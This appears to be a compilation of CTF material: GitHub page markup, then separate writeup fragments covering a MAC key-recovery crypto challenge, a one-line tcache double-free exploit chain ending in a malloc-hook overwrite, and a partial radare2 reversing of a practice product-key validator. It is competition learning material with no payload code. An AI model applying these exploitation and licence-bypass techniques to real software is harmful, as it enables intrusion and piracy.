0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/acdwas/ctf/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":124655323,"originating_url":"https://github.com/acdwas/ctf/tree/master/2018/BSides%20Delhi%20CTF%202018","user_id":null}}" data-hydro-click-hmac="fe052f5edd61bab4e45a0581c54024b799e792f04f772b461ebf0f7991836d04"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/acdwas/ctf/refs" cache-key="v0:1675583418.5812821" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="YWNkd2FzL2N0Zg==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/acdwas/ctf/refs" cache-key="v0:1675583418.5812821" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="YWNkd2FzL2N0Zg==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>2018</span></span><span>/</span>BSides Delhi CTF 2018<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>2018</span></span><span>/</span>BSides Delhi CTF 2018<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/acdwas/ctf/tree-commit/773a121b9ebe30e8693ecf86a6231f1037b7b0a0/2018/BSides%20Delhi%20CTF%202018" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/acdwas/ctf/file-list/master/2018/BSides%20Delhi%20CTF%202018"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>rev.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
TL;DR 1. Recover last used key from MAC 2. Bruteforce byte by byte to cover the keys used Long Version:I have made a [writeup](https://sayoojsamuel.github.io/2018/10/26/pyQueue/) with details. https://sayoojsamuel.github.io/2018/10/26/pyQueue/
Double free on chunks in tcache. Leak of the heap -> Leak of the ELF -> Leak of the libc -> writing malloc hook with a gadget [Writeup](https://github.com/LorenzoBinosi/CTF/tree/master/2018/HitconCTF/pwn/Groot)
```——> ./activateUsage: ./activate <PRODUCT_KEY>[andrei@jacky 01:35:47] ~/Documents/pico——> ./activate AAAAPlease Provide a VALID 16 byte Product Key.[andrei@jacky 01:35:51] ~/Documents/pico——> ./activate AAAABBBBCCCCDDDDINVALID Product Key.``` the executable wants a (exactly) 16 character code. inspecting the main we can clearly see we have to pass the validate_key function, then it will call print_flag. this function has basically three blocks: 1)```[0x8048771] || (fcn) sym.validate_key 172 || sym.validate_key (char *serial); || ; var int keysum @ ebp-0x14 || ; var signed int counter @ ebp-0x10 || ; var size_t serial_len @ ebp-0xc || ; var int dunno @ ebp-0x4 || ; arg char *serial @ ebp+0x8 || ; CALL XREF from main (0x8048899) || push ebp || ebp = esp || push ebx || esp -= 0x14 || esp -= 0xc || ; const char *s || push dword [serial] || ; size_t strlen(const char *s) || sym.imp.strlen ();[ga] || esp += 0x10 || dword [serial_len] = eax || dword [keysum] = 0 || dword [counter] = 0 || goto 0x80487c9;[gb] |``` function initialization; we can start by identifying the variables and renaming them (already done here) to understand the logic more easily. Since the name of the function is validate_key, we can assume the key we provide (here, serial) is passed to the function as an argument ( `sym.validate_key (char *serial)` and `arg char *serial @ ebp+0x8`). Also, it is pushed on the stack right before calling strlen, and after that the valur returned in eax is stored in a local variable (`dword [serial_len] = eax`). Moving on we have a while() block: 2.a - while head)```| ; CODE XREF from sym.validate_key (0x8048797) || eax = dword [serial_len] || eax -= 1 || var = eax - dword [counter] || if (var > 0) goto 0x8048799;[ge] |``` 2.b - while body) ```; CODE XREF from sym.validate_key (0x80487d2)edx = dword [counter]; [0x8:4]=-1eax = dword [serial]eax += edxeax = byte [eax]eax = alesp -= 0xcpush eaxsym.ord ();[gd]esp += 0x10eax = aledx = [eax + 1]eax = dword [counter]eax += 1eax = eax * edxdword [keysum] += eaxdword [counter] += 1``` at the end of the while body we can see a variable is incremented before returning to the while head (`dword [counter] += 1`) (you can't see the arrows indicated the program flow here but trust me lol) so i assumed it's a counter. this is the first part of our key validation. it takes every character of our serial, calls ord() on it, then sums 1 to this value, gets the counter, sums 1 to it, multiplies ((ord(serial[counter]) + 1) * (counter + 1)) and adds this result into another local variable, that i renamed keusym. So basically this is what the second block does: ```int calculate_keysum(char *str) { int keysum = 0; int i; for (i = 0; i < strlen(str) - 1; i++) { keysum += (ord(str[i]) + 1) * (i + 1); } return keysum; } ``` with ord() being the same function you find also in python, which returns the int corresponding to its char representation (ex ord('4') = 0x04): ``` int ord(char c) { if (c < 48 || c > 57) { puts("invalid char\n"); exit(1); } return c - 48;}``` and here comes the third block: 3)```0x80487d4 [gf] || ecx = dword [keysum] || edx = 0x38e38e39 || eax = ecx || eax = eax * edx || ebx = edx || ebx >>>= 3 || eax = ebx || eax <<<= 3 || eax += ebx || eax <<<= 2 || ecx -= eax || ebx = ecx || eax = dword [serial_len] || edx = [eax - 1] || ; [0x8:4]=-1 || ; 8 || eax = dword [serial] || eax += edx || eax = byte [eax] || eax = al || esp -= 0xc || push eax || sym.ord ();[gd] || esp += 0x10 || eax = al || var = ebx - eax || al = e || ebx = dword [dunno] || leave || return |``` this is kind of a bit tricky to follow just commenting and renaming variables on r2, so first i reported the steps in C: ```int validate_key(int key, char *str) { int c = 0x38e38e39; int len = 16; unsigned int ra, rb, rc, rd; // registers rc = key; rd = c; ra = key * c; rb = ((long long)key * c) >> 32; // get high portion of mul into ebx rb = rb >> 3; ra = rb; ra = ra << 3; ra = ra + rb; ra = ra << 2; rc = rc - ra; rb = rc; ra = len; rd = ra - 1; ra = str[rd]; ra = ord(ra); printf("ebx: 0x%08x\neax: 0x%08x\n", rb, ra); printf("result: 0x%08x\n", rb - ra); return rb - ra; // must return val != 0 }``` the `mul` operation is a bit tricky because, first of all it has the destination operand implicit being eax, and second, if the result is greater than 32 bits, it memorizes the high portion into edx. this was not evident from the asm code. also notice the (long long) casting: in C we have to cast one of the operands (or declare them as long long) otherwise it would truncate the result to 32 bits, and the next bit shifting by 32 would return zero. at this point we can simplify 